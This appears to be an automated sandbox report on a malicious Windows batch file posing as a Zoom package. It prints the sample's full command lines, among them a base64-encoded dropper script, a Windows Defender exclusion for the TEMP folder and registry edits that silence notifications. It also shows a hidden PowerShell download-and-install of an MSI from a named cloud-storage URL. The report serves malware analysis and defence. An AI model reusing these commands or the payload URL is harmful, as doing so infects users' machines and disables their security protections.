f51789427197f411329bbf6c0a79ac4e41089b2e4a7aad164ccfe52cb15c1be9

Analysis

max time kernel
38s
max time network
33s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/07/2026, 23:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
zoompkg.cmd
Size 6KB
Sample260708-3sb6tabv81
SHA256 f51789427197f411329bbf6c0a79ac4e41089b2e4a7aad164ccfe52cb15c1be9
MD5 2525f5e69bbc017fc127d8fd13c18c9e
SHA1 6017c29f84f98e6ec791150c6d51d0726431d07e
SHA512 c294776411f720c04c8f9e231af4f27f78d3630d321307dbb3f12b64e35c93ae4e181762bb602b29037784741c9b93915bbe09ce14319964d5f7382d8e37e1f5
SSDEEP 96:AN+Bf18BfhjRjiL10H/ppXucVFahZRo4M0yyjqlueTVGi/DVqp+7LoppsEPCIWiT:gpdP2oXLViZM0Gop+7EBPCJ2
TLSH
T16BE12B5F435713A1DC360634BEDCB8427F18219828720AD0F67DB3EE2726476627D0A9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://f005.backblazeb2.com/file/kkklloo/etc/etc.msi

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4648	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4244	powershell.exe
4648	powershell.exe
2576	powershell.exe
4244	powershell.exe
4648	powershell.exe
612	powershell.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\C:\Users\Admin\AppData\Local\Temp\teams_install_Thu 07_09_2026_ 0_46_20.60_diagnostic.log\	cmd.exe
File opened for modification	C:\C:\Users\Admin\AppData\Local\Temp\teams_install_Thu 07_09_2026_ 0_46_20.60_diagnostic.log\	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2576	powershell.exe
2576	powershell.exe
612	powershell.exe
612	powershell.exe
4244	powershell.exe
4244	powershell.exe
4648	powershell.exe
4648	powershell.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	612	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeIncreaseQuotaPrivilege	4244	powershell.exe
Token: SeSecurityPrivilege	4244	powershell.exe
Token: SeTakeOwnershipPrivilege	4244	powershell.exe
Token: SeLoadDriverPrivilege	4244	powershell.exe
Token: SeSystemProfilePrivilege	4244	powershell.exe
Token: SeSystemtimePrivilege	4244	powershell.exe
Token: SeProfSingleProcessPrivilege	4244	powershell.exe
Token: SeIncBasePriorityPrivilege	4244	powershell.exe
Token: SeCreatePagefilePrivilege	4244	powershell.exe
Token: SeBackupPrivilege	4244	powershell.exe
Token: SeRestorePrivilege	4244	powershell.exe
Token: SeShutdownPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeSystemEnvironmentPrivilege	4244	powershell.exe
Token: SeRemoteShutdownPrivilege	4244	powershell.exe
Token: SeUndockPrivilege	4244	powershell.exe
Token: SeManageVolumePrivilege	4244	powershell.exe
Token: 33	4244	powershell.exe
Token: 34	4244	powershell.exe
Token: 35	4244	powershell.exe
Token: 36	4244	powershell.exe
Token: SeDebugPrivilege	4648	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 2576	4700	cmd.exe	89
PID 4700 wrote to memory of 612	4700	cmd.exe	90
PID 612 wrote to memory of 5904	612	powershell.exe	91
PID 5904 wrote to memory of 5024	5904	cmd.exe	93
PID 5024 wrote to memory of 5208	5024	net.exe	94
PID 5904 wrote to memory of 4244	5904	cmd.exe	95
PID 5904 wrote to memory of 5156	5904	cmd.exe	97
PID 5904 wrote to memory of 2856	5904	cmd.exe	98
PID 5904 wrote to memory of 3688	5904	cmd.exe	99
PID 5904 wrote to memory of 3088	5904	cmd.exe	100
PID 5904 wrote to memory of 2984	5904	cmd.exe	101
PID 5904 wrote to memory of 4960	5904	cmd.exe	102
PID 5904 wrote to memory of 2528	5904	cmd.exe	103
PID 5904 wrote to memory of 1016	5904	cmd.exe	104
PID 5904 wrote to memory of 3660	5904	cmd.exe	105
PID 5904 wrote to memory of 3256	5904	cmd.exe	106
PID 5904 wrote to memory of 4648	5904	cmd.exe	107

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zoompkg.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "try { [System.IO.File]::WriteAllText('C:\Users\Admin\AppData\Local\Temp\msi_install_1781434341.bat', [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QGVjaG8gb2ZmDQpzZXRsb2NhbA0KDQo6OiBESUFHTk9TVElDOiBDcmVhdGUgbG9nIGZpbGUgd2l0aCB0aW1lc3RhbXANCnNldCBMT0dfRklMRT0lVEVNUCVcXHRlYW1zX2luc3RhbGxfJURBVEU6Lz1fJV8lVElNRTo6PV8lX2RpYWdub3N0aWMubG9nDQplY2hvIFtESUFHXSBJbnN0YWxsYXRpb24gc3RhcnRlZCBhdCAlVElNRSUgPiBcIiVMT0dfRklMRSVcIg0KZWNobyBbRElBR10gQ3VycmVudCB1c2VyOiAlVVNFUk5BTUUlID4+IFwiJUxPR19GSUxFJVwiDQplY2hvIFtESUFHXSBURU1QIHBhdGg6ICVURU1QJSA+PiBcIiVMT0dfRklMRSVcIg0KDQpzZXQgIkZMQUc9JVRFTVAlXHJ1bl9vbmNlLmZsYWciDQoNCm5ldCBzZXNzaW9uID5udWwgMj4mMSAmJiAoZWNobyBbRElBR10gQWxyZWFkeSBlbGV2YXRlZCA+PiBcIiVMT0dfRklMRSVcIiAmIGdvdG8gaW5zdGFsbCkNCmlmIGV4aXN0ICIlRkxBRyUiIChlY2hvIFtESUFHXSBGbGFnIGV4aXN0cywgcHJvY2VlZGluZyB0byBpbnN0YWxsID4+IFwiJUxPR19GSUxFJVwiICYgZ290byBpbnN0YWxsKQ0KDQplY2hvIFtESUFHXSBOZWVkaW5nIGVsZXZhdGlvbiwgcmVxdWVzdGluZyBhZG1pbiByaWdodHMuLi4gPj4gXCIlTE9HX0ZJTEUlXCINCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAidHJ5IHsgU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJyV+ZjAnIC1WZXJiIFJ1bkFzIC1XaW5kb3dTdHlsZSBIaWRkZW4gLVdhaXQgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgfSBjYXRjaCB7IGVjaG8gJ0VsZXZhdGlvbiBmYWlsZWQnID4+ICclTE9HX0ZJTEUlJzsgZXhpdCAxIH0iDQoNCmVjaG8gW0RJQUddIFdhaXRpbmcgZm9yIGVsZXZhdGlvbiB0byBjb21wbGV0ZS4uLiA+PiBcIiVMT0dfRklMRSVcIg0Kc2V0IHdhaXQ9MA0KOndhaXRfbG9vcA0KaWYgZXhpc3QgIiVGTEFHJSIgKGVjaG8gW0RJQUddIEZsYWcgZGV0ZWN0ZWQsIGVsZXZhdGlvbiBzdWNjZXNzZnVsID4+IFwiJUxPR19GSUxFJVwiICYgZXhpdCAvYikNCnRpbWVvdXQgL3QgMSAvbm9icmVhayA+bnVsDQpzZXQgL2Egd2FpdCs9MQ0KZWNobyBbRElBR10gV2FpdGluZy4uLiAld2FpdCUgc2Vjb25kcyA+PiBcIiVMT0dfRklMRSVcIg0KaWYgJXdhaXQlIGxzcyAxMCBnb3RvIHdhaXRfbG9vcA0KDQplY2hvIFtESUFHXSBSZS1leGVjdXRpbmcgYWZ0ZXIgZWxldmF0aW9uIHRpbWVvdXQgPj4gXCIlTE9HX0ZJTEUlXCINCmNhbGwgIiV+ZjAiDQpleGl0IC9iDQoNCjppbnN0YWxsDQp0eXBlIG51bCA+ICIlRkxBRyUiDQplY2hvIFtESUFHXSBTdGFydGluZyBpbnN0YWxsYXRpb24gcHJvY2VzcyA+PiBcIiVMT0dfRklMRSVcIg0KDQo6OiA9PT0gQWRkIFRFTVAgZm9sZGVyIHRvIFdpbmRvd3MgRGVmZW5kZXIgZXhjbHVzaW9ucyAoZWxldmF0ZWQpID09PQ0KZWNobyBbRElBR10gQWRkaW5nIFRFTVAgdG8gRGVmZW5kZXIgZXhjbHVzaW9ucy4uLiA+PiBcIiVMT0dfRklMRSVcIg0KcG93ZXJzaGVsbCAtTm9Qcm9maWxlIC1Ob25JbnRlcmFjdGl2ZSAtRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyAtV2luZG93U3R5bGUgSGlkZGVuIC1Db21tYW5kICJ0cnkgeyBBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICRlbnY6VEVNUCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZTsgZWNobyAnRGVmZW5kZXIgZXhjbHVzaW9uIGFkZGVkJyA+PiAnJGVudjpURU1QXFx0ZWFtc19pbnN0YWxsX2RpYWdub3N0aWMubG9nJyB9IGNhdGNoIHsgZWNobyAnRGVmZW5kZXIgZXhjbHVzaW9uIGZhaWxlZCcgPj4gJyRlbnY6VEVNUFxcdGVhbXNfaW5zdGFsbF9kaWFnbm9zdGljLmxvZycgfSINCg0KOjogT3B0aW9uYWw6IERpc2FibGUgbm90aWZpY2F0aW9ucyAmIHRlbGVtZXRyeSAoa2VlcCBpZiBkZXNpcmVkKQ0KZWNobyBbRElBR10gRGlzYWJsaW5nIG5vdGlmaWNhdGlvbnMuLi4gPj4gXCIlTE9HX0ZJTEUlXCINCnJlZyBhZGQgIkhLQ1VcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cTm90aWZpY2F0aW9uc1xTZXR0aW5ncyIgL3YgRm9jdXNBc3Npc3QgL3QgUkVHX0RXT1JEIC9kIDMgL2YgPm51bA0KcmVnIGFkZCAiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxOb3RpZmljYXRpb25zXFNldHRpbmdzIiAvdiBOT0NfR0xPQkFMX1NFVFRJTkdfVE9BU1RTX0VOQUJMRUQgL3QgUkVHX0RXT1JEIC9kIDEgL2YgPm51bA0KcmVnIGRlbGV0ZSAiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxOb3RpZmljYXRpb25zXFNldHRpbmdzIiAvdiBGb2N1c0Fzc2lzdEFsbG93ZWRMaXN0IC9mID5udWwgMj4mMQ0KcmVnIGFkZCAiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxOb3RpZmljYXRpb25zXFNldHRpbmdzIiAvdiBOT0NfR0xPQkFMX1NFVFRJTkdfU09VTkRfRU5BQkxFRCAvdCBSRUdfRFdPUkQgL2QgMCAvZiA+bnVsDQoNCmZvciAlJUEgaW4gKDMxMDA5MyAzMzgzODggMzM4Mzg5IDM1MzY5NCAzNTM2OTYpIGRvICgNCiAgICByZWcgYWRkICJIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXENvbnRlbnREZWxpdmVyeU1hbmFnZXIiIC92IFN1YnNjcmliZWRDb250ZW50LSUlQUVuYWJsZWQgL3QgUkVHX0RXT1JEIC9kIDAgL2YgPm51bA0KKQ0KcmVnIGFkZCAiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxVc2VyUHJvZmlsZUVuZ2FnZW1lbnQiIC92IFNjb29iZVN5c3RlbVNldHRpbmdFbmFibGVkIC90IFJFR19EV09SRCAvZCAwIC9mID5udWwNCg0KOjogPT09IERvd25sb2FkIGFuZCBpbnN0YWxsIHlvdXIgTVNJID09PQ0KZWNobyBbRElBR10gU3RhcnRpbmcgTVNJIGRvd25sb2FkLi4uID4+IFwiJUxPR19GSUxFJVwiDQpwb3dlcnNoZWxsIC1Ob1Byb2ZpbGUgLU5vbkludGVyYWN0aXZlIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1XaW5kb3dTdHlsZSBIaWRkZW4gLUNvbW1hbmQgIltOZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbTmV0LlNlY3VyaXR5UHJvdG9jb2xUeXBlXTo6VGxzMTI7ICR1ID0gJ2h0dHBzOi8vZjAwNS5iYWNrYmxhemViMi5jb20vZmlsZS9ra2tsbG9vL2V0Yy9ldGMubXNpJzsgJGYgPSBKb2luLVBhdGggJGVudjpURU1QICdtcy5tc2knOyBlY2hvICdEb3dubG9hZGluZyBmcm9tOiAnICsgJHUgfCBPdXQtRmlsZSAtRmlsZVBhdGggKEpvaW4tUGF0aCAkZW52OlRFTVAgJ3RlYW1zX2luc3RhbGxfZGlhZ25vc3RpYy5sb2cnKSAtQXBwZW5kOyB0cnkgeyBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICR1IC1PdXRGaWxlICRmIC1Vc2VyQWdlbnQgJ01vemlsbGEvNS4wJyAtVXNlQmFzaWNQYXJzaW5nIC1UaW1lb3V0U2VjIDEyMDsgZWNobyAnRG93bmxvYWQgY29tcGxldGVkJyB8IE91dC1GaWxlIC1GaWxlUGF0aCAoSm9pbi1QYXRoICRlbnY6VEVNUCAndGVhbXNfaW5zdGFsbF9kaWFnbm9zdGljLmxvZycpIC1BcHBlbmQ7IFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICdtc2lleGVjLmV4ZScgLUFyZ3VtZW50TGlzdCAnL2knLCAkZiwgJy9xdWlldCcsICcvbm9yZXN0YXJ0JyAtV2FpdCAtV2luZG93U3R5bGUgSGlkZGVuOyBlY2hvICdJbnN0YWxsYXRpb24gc3RhcnRlZCcgfCBPdXQtRmlsZSAtRmlsZVBhdGggKEpvaW4tUGF0aCAkZW52OlRFTVAgJ3RlYW1zX2luc3RhbGxfZGlhZ25vc3RpYy5sb2cnKSAtQXBwZW5kOyBSZW1vdmUtSXRlbSAtUGF0aCAkZiAtRm9yY2UgfSBjYXRjaCB7ICRlcnIgPSAkXy5FeGNlcHRpb24uTWVzc2FnZTsgZWNobyAnRG93bmxvYWQgZmFpbGVkOiAnICsgJGVyciB8IE91dC1GaWxlIC1GaWxlUGF0aCAoSm9pbi1QYXRoICRlbnY6VEVNUCAndGVhbXNfaW5zdGFsbF9kaWFnbm9zdGljLmxvZycpIC1BcHBlbmQ7IGV4aXQgMSB9Ig0KDQplY2hvIFtESUFHXSBJbnN0YWxsYXRpb24gcHJvY2VzcyBjb21wbGV0ZWQgPj4gXCIlTE9HX0ZJTEUlXCINCmRlbCAiJUZMQUclIiA+bnVsIDI+JjENCmRlbCAiJX5mMCIgPm51bCAyPiYxDQoNCjo6IEZpbmFsIGRpYWdub3N0aWMNCmVjaG8gW0RJQUddIEZpbmFsIGNoZWNrOiBNU0kgc2hvdWxkIGJlIGluc3RhbGxlZCA+PiBcIiVMT0dfRklMRSVcIg0KaWYgZXhpc3QgXCIlUHJvZ3JhbUZpbGVzJVxcWW91ckFwcFwiICgNCiAgICBlY2hvIFtESUFHXSBTVUNDRVNTOiBNU0kgaXMgaW5zdGFsbGVkID4+IFwiJUxPR19GSUxFJVwiDQopIGVsc2UgKA0KICAgIGVjaG8gW0RJQUddIFNVQ0NFU1M6IE1TSSBpbnN0YWxsYXRpb24gY29tcGxldGVkID4+IFwiJUxPR19GSUxFJVwiDQop'))); echo '[WRAPPER] Successfully decoded payload' >> 'C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log'; } catch { $err = $_.Exception.Message; echo '[WRAPPER] Decoding failed: ' + $err >> 'C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log'; exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Start-Process -FilePath cmd.exe -ArgumentList '/c "C:\Users\Admin\AppData\Local\Temp\msi_install_1781434341.bat"' -Wait -WindowStyle Hidden; echo '[WRAPPER] Installation process completed' >> 'C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log'; } catch { $err = $_.Exception.Message; echo '[WRAPPER] Execution failed: ' + $err >> 'C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log'; exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:612
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\msi_install_1781434341.bat
    3⤵
    - NTFS ADS
    - Suspicious use of WriteProcessMemory
    PID:5904
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5024
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath $env:TEMP -ErrorAction SilentlyContinue; echo 'Defender exclusion added' >> '$env:TEMP\\teams_install_diagnostic.log' } catch { echo 'Defender exclusion failed' >> '$env:TEMP\\teams_install_diagnostic.log' }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4244
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v FocusAssist /t REG_DWORD /d 3 /f
      4⤵
      PID:5156
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_TOASTS_ENABLED /t REG_DWORD /d 1 /f
      4⤵
      PID:2856
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v FocusAssistAllowedList /f
      4⤵
      PID:3688
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_SOUND_ENABLED /t REG_DWORD /d 0 /f
      4⤵
      PID:3088
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v SubscribedContent-310093Enabled /t REG_DWORD /d 0 /f
      4⤵
      PID:2984
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v SubscribedContent-338388Enabled /t REG_DWORD /d 0 /f
      4⤵
      PID:4960
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v SubscribedContent-338389Enabled /t REG_DWORD /d 0 /f
      4⤵
      PID:2528
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v SubscribedContent-353694Enabled /t REG_DWORD /d 0 /f
      4⤵
      PID:1016
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v SubscribedContent-353696Enabled /t REG_DWORD /d 0 /f
      4⤵
      PID:3660
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\UserProfileEngagement" /v ScoobeSystemSettingEnabled /t REG_DWORD /d 0 /f
      4⤵
      PID:3256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $u = 'https://f005.backblazeb2.com/file/kkklloo/etc/etc.msi'; $f = Join-Path $env:TEMP 'ms.msi'; echo 'Downloading from: ' + $u | Out-File -FilePath (Join-Path $env:TEMP 'teams_install_diagnostic.log') -Append; try { Invoke-WebRequest -Uri $u -OutFile $f -UserAgent 'Mozilla/5.0' -UseBasicParsing -TimeoutSec 120; echo 'Download completed' | Out-File -FilePath (Join-Path $env:TEMP 'teams_install_diagnostic.log') -Append; Start-Process -FilePath 'msiexec.exe' -ArgumentList '/i', $f, '/quiet', '/norestart' -Wait -WindowStyle Hidden; echo 'Installation started' | Out-File -FilePath (Join-Path $env:TEMP 'teams_install_diagnostic.log') -Append; Remove-Item -Path $f -Force } catch { $err = $_.Exception.Message; echo 'Download failed: ' + $err | Out-File -FilePath (Join-Path $env:TEMP 'teams_install_diagnostic.log') -Append; exit 1 }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4648

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
TLSH
T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
MD5 95e9928464a1f3425068f7e64a74060a
SHA1 9bdbd59bea34afd0aebf4d0c3d3cfe0317aa4d57
SHA512 a150525324ebe4a0dc28577f089c1f45ef0902355ecd9d5f10c91d45fe57d44d09c6d133a92c3f32dca0c73b97b259d5ad7ff4316edafa2cb00e38d64e043f06
TLSH
T1E9216833F3DD8654C899413A10CEAC1035B7C7DB40DECEDB6B84D559A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 764B
SHA256 1bfd60f1ca8e0c52af414d9baf4e9a155251a94024f496c7f49e9a763963342a
MD5 44b2a189b4bafb68592b4127e59e3e6d
SHA1 2ba17054024ce7949d123331fa3d415404f2190a
SHA512 d14894dc7ad386a2b3ccedd8f4d99f5a93caf9ed63d297edb24c6a96e631768e9279dd3f4bc275878a4a38e3195602831228bdb16ff84b12025afcd3b876f35f
TLSH
T154014432F3CE8628DC69403650CEAD21373AC7CB819ADF6BBB80D151B807651DFA0260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_or4u0ctj.zls.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_or4u0ctj.zls.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

msi_install_1781434341.bat

Path C:\Users\Admin\AppData\Local\Temp\msi_install_1781434341.bat
Size 4KB
SHA256 35cd3c2a55b6754dfe5284965aa6829d025acca577ac08080e197cfd8a1e7010
MD5 5ab55e09c6a37af1f87325e182521ff8
SHA1 4c50b7607a84000f16291015647fd4e02b7774b9
SHA512 99413879bf3e6c687feccedee5140d29b46163cb4a2433664cd843e849d19c3c22220e8f41801805c1b5c9d695efcad1cc35c4f37c8145100452737446f3b5a8
SSDEEP 96:9ZFtBhcyrsxDr2MxjnYKVgB+hO1mspQimH:VtBhco4X2YjYXmO/pQimH
TLSH
T1BD91742B30526364EEE142E394AE1A86B77BD14F17057FC533E7902B20226D58FBE2C5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msi_install_diagnostic.log

Path C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log
Size 232B
SHA256 7aa2038b969bc082e921a5bc998b5472176fbc7f499dc80a5e250abeb7fccc6e
MD5 3772c4febd471427d7bd9c40771dbf35
SHA1 eed3632cdb773413d7062cf1a34d155f19264ac3
SHA512 801b4f3825ddab21b858e6493b119f0180c4035ebd85ee8628dad5cfe5ab1efb587a4814c71775b3b07d7c822b662bc1d97b964eaa2179d5c7322300b75dd4ef
TLSH
T140D097A100E046491063023F7AB98248882978000F8282082A01902B2FB2E3966B0323
MD5 SHA1 SHA512 TLSH

Submit Download

msi_install_diagnostic.log

Path C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log
Size 274B
SHA256 0c578017efdd54675ee243c388d82d36284503f5639428a322d6bb95655123ae
MD5 583fc678f9e33f94adab4e782761b4b1
SHA1 9afc7156b5b6afc835c1ec3543e2604b77167a31
SHA512 7b5047c5384e22bd7bda1b63fed9b32cbb6c7453399ce82f426df24d068830bf9ec817406af809a5a72510a23da3318e85f5c2d289e230967fdf464436f92c84
TLSH
T125D02BA610F04B5A1567023F7ABD86484C69B4050F43C21C1A45D1161FA2D7657B2723
MD5 SHA1 SHA512 TLSH

Submit Download

msi_install_diagnostic.log

Path C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log
Size 358B
SHA256 4bfcf0260eef73910801a618cc48af9100bd8fc052ab58ac38edd00b1e1c9ee1
MD5 2e128cf99c126421d27657f6b9cdcaab
SHA1 46b51d69d6b14bc7394c2d957c54ec94a747c055
SHA512 8a93eb4f69a296f00bf110efff26164fbee286e1f16eaa65ff84a2766ef874b192bfd9e750b24141352cced04fd5ab9cf68aff67b63a3ca0ec102cdbf78e4715
TLSH
T188E06FA221F446692277063BBEBD82448CA8B8010F02C22C1641902E0FB1D39AAB1733
MD5 SHA1 SHA512 TLSH

Submit Download

memory/612-26-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-29-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-57-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-58-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-61-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-39-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-72-0x000001F3FAF80000-0x000001F3FB0AF000-memory.dmp

Download

memory/612-73-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-28-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-54-0x000001F3FAF80000-0x000001F3FB0AF000-memory.dmp

Download

memory/612-30-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-31-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-32-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-34-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-33-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-35-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-36-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp

Download

memory/612-37-0x00007FFB47910000-0x00007FFB482B4000-memory.dmp
